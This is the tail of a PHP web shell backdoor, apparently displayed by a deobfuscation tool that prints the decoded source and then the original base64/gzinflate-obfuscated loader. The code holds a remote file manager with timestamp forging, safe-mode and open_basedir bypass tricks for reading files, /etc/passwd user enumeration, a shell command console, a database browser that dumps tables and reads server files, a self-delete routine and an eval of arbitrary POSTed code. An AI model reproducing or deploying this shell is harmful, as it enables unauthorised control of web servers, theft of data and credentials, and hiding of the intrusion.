<input type=hidden name=c value=\'".htmlspecialchars($GLOBALS[\'cwd\']) ."\'>
<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>
<select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";
if(class_exists(\'ZipArchive\'))
echo "<option value=\'zip\'>Compress (zip)</option><option value=\'unzip\'>Uncompress (zip)</option>";
echo "<option value=\'tar\'>Compress (tar.gz)</option>";
if(!empty($_SESSION[\'act\'])&&@count($_SESSION[\'f\']))
echo "<option value=\'paste\'>Paste / Compress</option>";
echo "</select>&nbsp;";
if(!empty($_SESSION[\'act\'])&&@count($_SESSION[\'f\'])&&(($_SESSION[\'act\']==\'zip\')||($_SESSION[\'act\']==\'tar\')))
echo "file name: <input type=text name=p2 value=\'X_".date("Ymd_His").".".($_SESSION[\'act\']==\'zip\'?\'zip\':\'tar.gz\')."\'>&nbsp;";
echo "<input type=\'submit\' value=\'>>\'></td></tr></form></table></div>";
XFooter();
}

function actionFilesTools(){
if(isset($_POST[\'p1\']))
$_POST[\'p1\']=urldecode($_POST[\'p1\']);
if(@$_POST[\'p2\']==\'download\'){
if(@is_file($_POST[\'p1\'])&&@is_readable($_POST[\'p1\'])){
ob_start("ob_gzhandler",4096);
header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));
if(function_exists("mime_content_type")){
$type=@mime_content_type($_POST[\'p1\']);
header("Content-Type: ".$type);
}else
header("Content-Type: application/octet-stream");
$fp=@fopen($_POST[\'p1\'],"r");
if($fp){
while(!@feof($fp))
echo @fread($fp,1024);
fclose($fp);
}
}exit;
}
if(@$_POST[\'p2\']==\'mkfile\'){
if(!file_exists($_POST[\'p1\'])){
$fp=@fopen($_POST[\'p1\'],\'w\');
if($fp){
$_POST[\'p2\']="edit";
fclose($fp);
}
}
}
XHeader();
echo \'<h1>File tools</h1><div class=content>\';
if(!file_exists(@$_POST[\'p1\'])){
echo \'File not exists\';
XFooter();
return;
}
$uid=@posix_getpwuid(@fileowner($_POST[\'p1\']));
if(!$uid){
$uid[\'name\']=@fileowner($_POST[\'p1\']);
$gid[\'name\']=@filegroup($_POST[\'p1\']);
}else $gid=@posix_getgrgid(@filegroup($_POST[\'p1\']));
echo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?XViewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.XPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';
echo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';
if(empty($_POST[\'p2\']))
$_POST[\'p2\']=\'view\';
if(is_file($_POST[\'p1\']))
$m=array(\'View\',\'Highlight\',\'Download\',\'Hexdump\',\'Edit\',\'Chmod\',\'Rename\',\'Touch\');
else
$m=array(\'Chmod\',\'Rename\',\'Touch\');
foreach($m as $v)
echo \'<a href=# onclick="g(null,null,null,\'\'.strtolower($v).\'\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';
echo \'<br><br>\';
switch($_POST[\'p2\']){
case \'view\':
echo \'<pre class=ml1>\';
$fp=@fopen($_POST[\'p1\'],\'r\');
if($fp){
while(!@feof($fp))
echo htmlspecialchars(@fread($fp,1024));
@fclose($fp);
}
echo \'</pre>\';
break;
case \'highlight\':
if(@is_readable($_POST[\'p1\'])){
echo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';
$code=@highlight_file($_POST[\'p1\'],true);
echo str_replace(array(\'<span \',\'</span>\'),array(\'<font \',\'</font>\'),$code).\'</div>\';
}
break;
case \'chmod\':
if(!empty($_POST[\'p3\'])){
$perms=0;
for($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)
$perms += (int)$_POST[\'p3\'][$i]*pow(8,(strlen($_POST[\'p3\'])-$i-1));
if(!@chmod($_POST[\'p1\'],$perms))
echo \'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>\';
}
clearstatcache();
echo \'<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\',fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value=">>"></form>\';
break;
case \'edit\':
if(!is_writable($_POST[\'p1\'])){
echo \'File isn\'t writeable\';
break;
}
if(!empty($_POST[\'p3\'])){
$time=@filemtime($_POST[\'p1\']);
$_POST[\'p3\']=substr($_POST[\'p3\'],1);
$fp=@fopen($_POST[\'p1\'],"w");
if($fp){
@fwrite($fp,$_POST[\'p3\']);
@fclose($fp);
echo \'Saved!<br><script>p3_="";</script>\';
@touch($_POST[\'p1\'],$time,$time);
}
}
echo \'<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>\';
$fp=@fopen($_POST[\'p1\'],\'r\');
if($fp){
while(!@feof($fp))
echo htmlspecialchars(@fread($fp,1024));
@fclose($fp);
}
echo \'</textarea><input type=submit value=">>"></form>\';
break;
case \'hexdump\':
$c=@file_get_contents($_POST[\'p1\']);
$n=0;
$h=array(\'00000000<br>\',\'\',\'\');
$len=strlen($c);
for ($i=0; $i<$len; ++$i){
$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';
switch (ord($c[$i])){
case 0:$h[2] .= \' \'; break;
case 9:$h[2] .= \' \'; break;
case 10: $h[2] .= \' \'; break;
case 13: $h[2] .= \' \'; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if($n==32){
$n=0;
if($i+1 < $len){$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}
$h[1] .= \'<br>\';
$h[2] .= "
";
}
 }
echo \'<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';
break;
case \'rename\':
if(!empty($_POST[\'p3\'])){
if(!@rename($_POST[\'p1\'],$_POST[\'p3\']))
echo \'Can\'t rename!<br>\';
else
die(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');
}
echo \'<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value=">>"></form>\';
break;
case \'touch\':
if(!empty($_POST[\'p3\'])){
$time=strtotime($_POST[\'p3\']);
if($time){
if(!touch($_POST[\'p1\'],$time,$time))
echo \'Fail!\';
else
echo \'Touched!\';
}else echo \'Bad time format!\';
}
clearstatcache();
echo \'<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s",@filemtime($_POST[\'p1\'])).\'"><input type=submit value=">>"></form>\';
break;
}
echo \'</div>\';
XFooter();
}

function actionSafeMode(){
$temp=\'\';
ob_start();
switch($_POST[\'p1\']){
case 1:
$temp=@tempnam($test,\'cx\');
if(@copy("compress.zlib://".$_POST[\'p2\'],$temp)){
echo @file_get_contents($temp);
unlink($temp);
}else
echo \'Sorry... Can\'t open file\';
break;
case 2:
$files=glob($_POST[\'p2\'].\'*\');
if(is_array($files))
foreach ($files as $filename)
echo $filename."
";
break;
case 3:
$ch=curl_init("file://".$_POST[\'p2\']."".preg_replace(\'!\(\d+\)\s.*!\',\'\',__FILE__));
curl_exec($ch);
break;
case 4:
ini_restore("safe_mode");
ini_restore("open_basedir");
include($_POST[\'p2\']);
break;
case 5:
for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++){
$uid=@posix_getpwuid($_POST[\'p2\']);
if($uid)
echo join(\':\',$uid)."
";
}
break;
}
$temp=ob_get_clean();
XHeader();
echo \'<h1>Safe mode bypass</h1><div class=content>\';
echo \'<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>\';
if($temp)
echo \'<pre class="ml1" style="margin-top:5px" id="Output">\'.htmlspecialchars($temp).\'</pre>\';
echo \'</div>\';
XFooter();
}

function actionConsole(){
if(!empty($_POST[\'p1\'])&&!empty($_POST[\'p2\'])){
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']=true;
$_POST[\'p1\'] .= \' 2>&1\';
}elseif(!empty($_POST[\'p1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']=false;

if(isset($_POST[\'ajax\'])){
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']=true;
ob_start();
echo "d.cf.cmd.value=\'\';
";
$temp=@iconv($_POST[\'charset\'],\'UTF-8\',addcslashes("
$ ".$_POST[\'p1\']."
".XEx($_POST[\'p1\']),"

	\\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST[\'p1\'],$match)){
if(@chdir($match[1])){
$GLOBALS[\'cwd\']=@getcwd();
echo "c_=\'".$GLOBALS[\'cwd\']."\';";
}
}
echo "d.cf.output.value+=\'".$temp."\';";
echo "d.cf.output.scrollTop=d.cf.output.scrollHeight;";
$temp=ob_get_clean();
echo strlen($temp),"
",$temp;
exit;
}
XHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds=new Array(\'\');
var cur=0;
function kp(e){
var n=(window.Event)?e.which:e.keyCode;
if(n==38){
cur--;
if(cur>=0)
document.cf.cmd.value=cmds[cur];
else
cur++;
}else if(n==40){
cur++;
if(cur < cmds.length)
document.cf.cmd.value=cmds[cur];
else
cur--;
}
}
function add(cmd){
cmds.pop();
cmds.push(cmd);
cmds.push(\'\');
cur=cmds.length-1;
}
</script>";
echo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}return false;"><select name=alias>\';
foreach($GLOBALS[\'aliases\'] as $n=>$v){
if($v==\'\'){
echo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';
continue;
}
echo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';
}
if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))
$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']=false;
echo \'</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_SESSION[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>\';
if(!empty($_POST[\'p1\'])){
echo htmlspecialchars("$ ".$_POST[\'p1\']."
".XEx($_POST[\'p1\']));
}
echo \'</textarea><table style="border:1px solid #F2A;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';
echo \'</form></div><script>d.cf.cmd.focus();</script>\';
XFooter();
}

function actionLogout(){
session_destroy();
die(\'bye!\');
}

function actionSelfRemove(){

if($_POST[\'p1\']==\'yes\')
if(@unlink(preg_replace(\'!\(\d+\)\s.*!\',\'\',__FILE__)))
die(\'Shell has been removed\');
else
echo \'unlink error!\';
if($_POST[\'p1\']!=\'yes\')
XHeader();
echo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>\';
XFooter();
}

function actionSql(){
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type){
$this->type=$type;
}
function connect($host,$user,$pass,$dbname){
switch($this->type){
case \'mysql\':
if($this->link=@mysql_connect($host,$user,$pass,true)) return true;
break;
case \'pgsql\':
$host=explode(\':\',$host);
if(!$host[1]) $host[1]=5432;
if($this->link=@pg_connect("host={$host[0]}port={$host[1]}user=$user password=$pass dbname=$dbname")) return true;
break;
}
return false;
}
function selectdb($db){
switch($this->type){
case \'mysql\':
if(@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str){
switch($this->type){
case \'mysql\':
return $this->res=@mysql_query($str);
break;
case \'pgsql\':
return $this->res=@pg_query($this->link,$str);
break;
}
return false;
}
function fetch(){
$res=func_num_args()?func_get_arg(0):$this->res;
switch($this->type){
case \'mysql\':
return @mysql_fetch_assoc($res);
break;
case \'pgsql\':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs(){
switch($this->type){
case \'mysql\':
return $this->query("SHOW databases");
break;
case \'pgsql\':
return $this->res=$this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");
break;
}
return false;
}
function listTables(){
switch($this->type){
case \'mysql\':
return $this->res=$this->query(\'SHOW TABLES\');
break;
case \'pgsql\':
return $this->res=$this->query("select table_name from information_schema.tables where table_schema!=\'information_schema\' AND table_schema!=\'pg_catalog\'");
break;
}
return false;
}
function error(){
switch($this->type){
case \'mysql\':
return @mysql_error();
break;
case \'pgsql\':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str){
switch($this->type){
case \'mysql\':
if(function_exists(\'mysql_set_charset\'))
return @mysql_set_charset($str,$this->link);
else
$this->query(\'SET CHARSET \'.$str);
break;
case \'pgsql\':
return @pg_set_client_encoding($this->link,$str);
break;
}
return false;
}
function loadFile($str){
switch($this->type){
case \'mysql\':
return $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));
break;
case \'pgsql\':
$this->query("CREATE TABLE X2(file text);COPY X2 FROM \'".addslashes($str)."\';select file from X2;");
$r=array();
while($i=$this->fetch())
$r[]=$i[\'file\'];
$this->query(\'drop table X2\');
return array(\'file\'=>implode("
",$r));
break;
}
return false;
}
function dump($table,$fp=false){
switch($this->type){
case \'mysql\':
$res=$this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');
$create=mysql_fetch_array($res);
$sql=$create[1].";
";
if($fp) fwrite($fp,$sql); else echo($sql);
$this->query(\'SELECT * FROM `\'.$table.\'`\');
$head=true;
while($item=$this->fetch()){
$columns=array();
foreach($item as $k=>$v){
if($v==null)
$item[$k]="NULL";
elseif(is_numeric($v))
$item[$k]=$v;
else
$item[$k]="\'".@mysql_real_escape_string($v)."\'";
$columns[]="`".$k."`";
}
if($head){
$sql=\'INSERT INTO `\'.$table.\'` (\'.implode(",",$columns).") VALUES 
	(".implode(",",$item).\')\';
$head=false;
}else
$sql="
	,(".implode(",",$item).\')\';
if($fp) fwrite($fp,$sql); else echo($sql);
}
if(!$head)
if($fp) fwrite($fp,";

"); else echo(";

");
break;
case \'pgsql\':
$this->query(\'SELECT * FROM \'.$table);
while($item=$this->fetch()){
$columns=array();
foreach($item as $k=>$v){
$item[$k]="\'".addslashes($v)."\'";
$columns[]=$k;
}
$sql=\'INSERT INTO \'.$table.\' (\'.implode(",",$columns).\') VALUES (\'.implode(",",$item).\');\'."
";
if($fp) fwrite($fp,$sql); else echo($sql);
}
break;
}
return false;
}
};
$db=new DbClass($_POST[\'type\']);
if(@$_POST[\'p2\']==\'download\'){
$db->connect($_POST[\'sql_host\'],$_POST[\'sql_login\'],$_POST[\'sql_pass\'],$_POST[\'sql_base\']);
$db->selectdb($_POST[\'sql_base\']);
switch($_POST[\'charset\']){
case "Windows-1251": $db->setCharset(\'cp1251\'); break;
case "UTF-8": $db->setCharset(\'utf8\'); break;
case "KOI8-R": $db->setCharset(\'koi8r\'); break;
case "KOI8-U": $db->setCharset(\'koi8u\'); break;
case "cp866": $db->setCharset(\'cp866\'); break;
}
if(empty($_POST[\'file\'])){
ob_start("ob_gzhandler",4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST[\'tbl\'] as $v)
$db->dump($v);
exit;
}elseif($fp=@fopen($_POST[\'file\'],\'w\')){
foreach($_POST[\'tbl\'] as $v)
$db->dump($v,$fp);
fclose($fp);
unset($_POST[\'p2\']);
}else
die(\'<script>alert("Error! Can\'t open file");window.history.back(-1)</script>\');
}
XHeader();
echo "
<h1>Sql browser</h1><div class=content>
<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>
<td><select name=\'type\'><option value=\'mysql\' ";
if(@$_POST[\'type\']==\'mysql\')echo \'selected\';
echo ">MySql</option><option value=\'pgsql\' ";
if(@$_POST[\'type\']==\'pgsql\')echo \'selected\';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\'". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\'></td>
<td><input type=text name=sql_login value=\'". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\'></td>
<td><input type=text name=sql_pass value=\'". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\'></td><td>";
$tmp="<input type=text name=sql_base value=\'\'>";
if(isset($_POST[\'sql_host\'])){
if($db->connect($_POST[\'sql_host\'],$_POST[\'sql_login\'],$_POST[\'sql_pass\'],$_POST[\'sql_base\'])){
switch($_POST[\'charset\']){
case "Windows-1251": $db->setCharset(\'cp1251\'); break;
case "UTF-8": $db->setCharset(\'utf8\'); break;
case "KOI8-R": $db->setCharset(\'koi8r\'); break;
case "KOI8-U": $db->setCharset(\'koi8u\'); break;
case "cp866": $db->setCharset(\'cp866\'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=\'\'></option>";
while($item=$db->fetch()){
list($key,$value)=each($item);
echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';
}
echo \'</select>\';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value=\'>>\' onclick=\'fs(d.sf);\'></td>
<td><input type=checkbox name=sql_count value=\'on\'".(empty($_POST[\'sql_count\'])?\'\':\' checked\')."> count the number of rows</td>
</tr>
</table>
<script>
s_db=\'".@addslashes($_POST[\'sql_base\'])."\';
function fs(f){
if(f.sql_base.value!=s_db){ f.onsubmit=function(){};
if(f.p1) f.p1.value=\'\';
if(f.p2) f.p2.value=\'\';
if(f.p3) f.p3.value=\'\';
}
}
function st(t,l){
d.sf.p1.value=\'select\';
d.sf.p2.value=t;
if(l&&d.sf.p3) d.sf.p3.value=l;
d.sf.submit();
}
function is(){
for(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)
d.sf.elements[\'tbl[]\'][i].checked=!d.sf.elements[\'tbl[]\'][i].checked;
}
</script>";
if(isset($db)&&$db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST[\'sql_base\'])){
$db->selectdb($_POST[\'sql_base\']);
echo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";
$tbls_res=$db->listTables();
while($item=$db->fetch($tbls_res)){
list($key,$value)=each($item);
if(!empty($_POST[\'sql_count\']))
$n=$db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));
$value=htmlspecialchars($value);
echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\"st(\'".$value."\',1)\">".$value."</a>".(empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small>({$n[\'n\']})</small>")."</nobr><br>";
}
echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.p2.value=\"download\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";
if(@$_POST[\'p1\']==\'select\'){
$_POST[\'p1\']=\'query\';
$_POST[\'p3\']=$_POST[\'p3\']?$_POST[\'p3\']:1;
$db->query(\'SELECT COUNT(*) as n FROM \'.$_POST[\'p2\']);
$num=$db->fetch();
$pages=ceil($num[\'n\'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"".$_POST[\'p2\']."\",d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']}records) Page # <input type=text name=\'p3\' value=".((int)$_POST[\'p3\']).">";
echo " of $pages";
if($_POST[\'p3\'] > 1)
echo " <a href=# onclick=\'st(\"".$_POST[\'p2\'].\'",\'.($_POST[\'p3\']-1).")\'>&lt; Prev</a>";
if($_POST[\'p3\'] < $pages)
echo " <a href=# onclick=\'st(\"".$_POST[\'p2\'].\'",\'.($_POST[\'p3\']+1).")\'>Next &gt;</a>";
$_POST[\'p3\']--;
if($_POST[\'type\']==\'pgsql\')
$_POST[\'p2\']=\'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);
else
$_POST[\'p2\']=\'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';
echo "<br><br>";
}
if((@$_POST[\'p1\']==\'query\')&&!empty($_POST[\'p2\'])){
$db->query(@$_POST[\'p2\']);
if($db->res!==false){
$title=false;
echo \'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">\';
$line=1;
while($item=$db->fetch()){
if(!$title){
echo \'<tr>\';
foreach($item as $key=>$value)
echo \'<th>\'.$key.\'</th>\';
reset($item);
$title=true;
echo \'</tr><tr>\';
$line=2;
}
echo \'<tr class="l\'.$line.\'">\';
$line=$line==1?2:1;
foreach($item as $key=>$value){
if($value==null)
echo \'<td><i>null</i></td>\';
else
echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';
}
echo \'</tr>\';
}
echo \'</table>\';
}else {
echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';
}
}
echo "<br></form><form onsubmit=\'d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";
if(!empty($_POST[\'p2\'])&&($_POST[\'p1\']!=\'loadfile\'))
echo htmlspecialchars($_POST[\'p2\']);
echo "</textarea><br/><input type=submit value=\'Execute\'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST[\'type\']==\'mysql\'){
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`,\'@\',`host`)=USER() AND `File_priv`=\'y\'");
if($db->fetch())
echo "<form onsubmit=\'d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <inputclass=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";
}
if(@$_POST[\'p1\']==\'loadfile\'){
$file=$db->loadFile($_POST[\'p2\']);
echo \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';
}
}else {
echo htmlspecialchars($db->error());
}
echo \'</div>\';
XFooter();
}
function actionRC(){
if(!@$_POST[\'p1\']){
$a=array(
"uname"=>php_uname(),
"php_version"=>phpversion(),
"X_version"=>X_VERSION,
"safemode"=>@ini_get(\'safe_mode\')
);
echo serialize($a);
}else {
eval($_POST[\'p1\']);
}
}
if(empty($_POST[\'a\']))if(isset($default_action)&&function_exists(\'action\'.$default_action))$_POST[\'a\']=$default_action;else$_POST[\'a\']=\'SecInfo\';if(!empty($_POST[\'a\'])&&function_exists(\'action\'.$_POST[\'a\']))call_user_func(\'action\'.$_POST[\'a\']);exit;'//

Did this file decode correctly?

Original Code

<?php $D=strrev('edoced_46esab');$s=gzinflate($D('7X39d9s2sujvPaf/A83qBmIi0ZKcdLOSKdtNnE3e5uvGzrZ9tq9KSZTEhiJVkvJHXf/vb2bwQfBLltPunvfOedt7YxEYDIABMBgMZgaNSRREsWMa373qHZmDb79pTL2Zuw7SkTtJ/Sh02Cs/8JJ3bsj0zHXijdxf3WsnjdeenjFZuHHipQ770Q+n0VXS7vaedbHot9/4s+aOt1ylN83G6OT407+OP52x16enH0ef4Wt09I/j96fswrJuG4A8Ppp7YZo4bhy7N03zH1E0DzyzZZ4E63gFf9+dvP8hSuGH747ceLLwL70Yvn52w6l3DT8+uctxAEnWAGpdxd58tHTTyaLJdpntL1dBNPWa7A/W0uqybLbrQ8rGti08d+rFTcrb7dod42nnqfE+So1X0TqcMmvgXfvp4O4O+3uYeEkCJBwlqRunTWtw6If+CIjTZF4cR/EoiOas9f7z27d6FiSOKDthrY6esXSvR961N1njsIxSf+lxAMikr1HgL/20KZOW7tyfjH5bR6mXjOJ1iCCYKUZiXgSZryZN6OBsHdK4Gz8laeyvksBNFl7SbNBAWLexl67j0PCTER8ZkX5AfwDhqslyBYGeHKJfhW5w1xh9/HBy6hQqo0TIxbY2osRhoX/NcCQBLIX5egVDkKzH8NX8+Prj6MNJq9PasyzHYVd+yCwqgr+os43EnXmjJYy4Q8ScIzFVGqMZspMBWXxsYm8VxakfziXNGlM/cWFOjSSFEg1dKY9hocYigmGZXE2dQ4CCv02qzE9wPHknz9gE59XhZDH141zaoFEqiP0SXbzNcAMVsLWBO/Ga5vk5TP5ds6WyBZ5qIMq/o/mAv88AKvBC+m21uxc7DiwXC79sx4CfahXLHpwcn5y8+fD+bDl9VlzTr6Ej0AubIZfALj4E2mmOoyiwGv94++GHo7cnZ6zIdtiFbItGEyC4G/gurDrBNr79xnzrJ6nx0o+9SRrFN6YzNIHOZgtyXgF/MnxkF/ZqsYJfxmQdx8AIDITggMZuYuxeGbvjDDAr+3gShTN//nib4josYThZRFcGcthLz4C80OPTBguGXgoMIzXabpiBwgIOYTIawK0u/YknAQ1iLQT2GbIA4wT4UKqykbtlSCbRcrVOvVhlX/reFWUfffponOIMxhw3XkHllP7mo/GCWr6OXWwgZvsr3hlj1w0C89tvcKZ7QeLVkl8QJEiMdrDgeANMn8HGYrgprPwxtCoxgOm4xls/XF9DN6GOqeFdpx4QfspBk5sk9ZYcFRYz2pccW4Kdi1ZeCJC4aotkNP4w5jD5jbZvYMUep+sqjoCQCZIwXVORVWK462s1wphEHzMcbuiskax93hYCp+Rdo53erDxjZrRXXrw02p2nnU4HeppkRbNiFfMEIez7cVD18y2q75Wrnz+0+jIOPuS2H05outc2InSXXgG4iOTxPaXPTQF3btYUvbcb9XiQjFexn+JcN2ZRAJs5DHpYQVZOil55FOqL17arFpdYzvbqanoPVTRIbWSLxbejTCUubI69SFduktzbGAWXFS8U3a4hFXioGWOQA0YLWKrAs+9rig6rNaeMYssmVeOjZs1gL14sXT+IJ/e1SgPVGlVCsGWbitjeRhM39RR/CujTWKTpamrjpM9aV8rSC1wuoiRNqktoeXoRYJqz2lr0zFyh5GYMvKC6TJanF1neVIOLdB3UnS79UONKRgatsnT4yWye52H59BwoVFUNKzKKwMD1pm5aCc6zKgrU4ffnNTUAX60rAFnVBQhVFXhdL7jAtalxGkgZgeTUpWI6aPUQM0pmOcAcf1RwkJoHS34LKsAgNQ9W5nIKVmblC1TzI1VIz84XXN5A5RtK5vLzRSuZjSqo5eaKjd3Jl3V5yHiyDjhdL8tgmJhf7f5lxSr3L4XY9+032XHxNT8ZW7cklstzvjjPcKUAHgNASiwmOmU5X+VBJfMgGruB0SBFBcqak0VkmPuLdBkM9/E8PtxfeqlLPK7t/bb2Lx0GQiuIeWn7FNgow5mHXw5LQaDcxYIDQ+opRGvE5wUb7qd+GnhDdUBR55MLo218DrvXb59Of97f5VDffrOfpDfwYxxNb26RyvMYFQFtamz/O5CjOr3nA/HldfE/OG8hdCudttLF7TiKgWz97uraiNYpNMEYwyHty2AGbe7/fZUab9cTf+q2/uXFUzd0B0s3nvthvzO49OB4OnGDNgjd87CfRqtSNSSmwCKfRaKaduDN0v4zqCuJAhAKUecjS81ms0FdBwBXsnLD1qLbcm9FDhQ1dvwlyttumAqIW2x2+8rz54u0Pyb5CHIW3Vz9f8vXv3KnUzja9HuQDE3jPe8+ha7LPtfSVRJjdQ21TP1